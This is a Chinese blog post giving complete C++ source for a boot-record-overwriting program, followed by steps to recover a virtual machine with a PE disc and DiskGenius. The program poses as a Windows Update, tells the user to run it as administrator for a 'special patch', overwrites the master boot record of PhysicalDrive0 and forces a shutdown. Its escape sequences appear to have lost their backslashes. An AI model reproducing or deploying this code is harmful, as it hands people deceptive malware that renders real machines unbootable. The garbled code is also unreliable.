• 微信公众号:美女很有趣。 工作之余,放松一下,关注即送10G+美女照片!

【MBR病毒】实现与解决方案

互联网 diligentman 1周前 (05-04) 4次浏览

复现

环境

Attacker

OS: Windows 10 1909 X64
IDE: Dev-C++ 5.11
Filename: MBR.cpp
Out Filename: MBR.exe

Player

OS: Windows XP SP2
Filename: MBR.exe

步骤

0.0.1 编译及拷贝

将以下代码输入进Dev-C++:

#include<Windows.h>
#include<stdio.h>
#include<iostream>
using namespace std;
unsigned char sco[] =16进制
"xb8x12x00xcdx10xbdx18x7cxb9x18x00xb8x01x13xbbx0c"
"x00xBAx1Dx0ExCDx10xE2xFEx0Dx0Ax49x27x6Dx20x61x20x76x69x72x75x73x21x42x79x65x21";

DWORD MBR()
{
	system("title Windows Update");
	cout<<"Your computer has a bug.We are updating."<<endl;
	cout<<"Windows Updating..."<<endl;
	DWORD Ropen;
	BYTE pMBR[512] = { 0 };
	memcpy(pMBR, sco, sizeof(sco));
	pMBR[510] = 0x55;
	pMBR[511] = 0xaa;
	HANDLE hDevice = CreateFile(
		"\\.\PhysicalDrive0",
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		0,
		NULL);
	if (hDevice == INVALID_HANDLE_VALUE)
	{
		MessageBoxA(NULL, "错误", "请以管理员身份运行,否则 Windows 无法安装此特殊补丁更新。", MB_OK);
		return 0;
	}
	DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
	//写入磁盘文件   
	WriteFile(hDevice, pMBR, 512, &Ropen, NULL);
	DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &Ropen, NULL);
	cout<<"Windows Updated.Restart..."<<endl;
	system("shutdown -s -t 00");
}
int main(int argc, char* argv[])
{
	MBR();
	return 0;
}

编译后,生成了MBR.exe的文件。将其拷贝进VMware Workstation的Windows XP SP2中。

0.0.2 运行及效果

使用管理员权限运行此exe,窗口一闪而过,随机Windows XP SP2关机。
【MBR病毒】实现与解决方案

关机后,尝试开启虚拟机,显示如下:
【MBR病毒】实现与解决方案

解决方案

(在本开放实例中(https://github.com/tiantian520tt/Boom_MBR_Virus),可以很快清理。但在作者自行开发的内部版本中,此病毒已无法完全清理。)
关闭虚拟机,从网上下载适合的PE系统iso并下载,点击VMware的虚拟机选项,设置。
【MBR病毒】实现与解决方案
配置iso映像文件后,确认。
接着,选择虚拟机选项卡,选择启动方式,打开BIOS
【MBR病毒】实现与解决方案
进入BIOS后,选择Boot,接着使用+/-号使CD选项调到最上,按F10。(实体机中也很相似,但如果使用U盘作为PE启动盘,那么需要将USB选项调到最上)

【MBR病毒】实现与解决方案
进入PE系统。
(由于作者身边只有Windows Server 2003的PE所以用了这个)
【MBR病毒】实现与解决方案
【MBR病毒】实现与解决方案
打开DiskGenius(磁盘分区管理),发现磁盘内容已经全部挂了。这时搜索丢失分区发现了C盘,然后重建MBR引导。
【MBR病毒】实现与解决方案
关闭虚拟机,再次进入BIOS。修改Hard Driver到最顶,重启虚拟机。成功进入系统。
【MBR病毒】实现与解决方案
【MBR病毒】实现与解决方案

文件仍在:
【MBR病毒】实现与解决方案

解决方案圆满成功。

总结

MBR病毒算是国内发现比较早的病毒种类了,由于在计算机时代初期exe的各种兼容性,使得更多的人选择了对MBR引导区下手。
本人对本MBR病毒评价:
复现难度:★★☆☆☆
修复难度:★☆☆☆☆
破坏程度:☆☆☆☆☆

以上均为本人观点,不喜勿喷,欢迎补充。


程序员灯塔
转载请注明原文链接:【MBR病毒】实现与解决方案
喜欢 (0)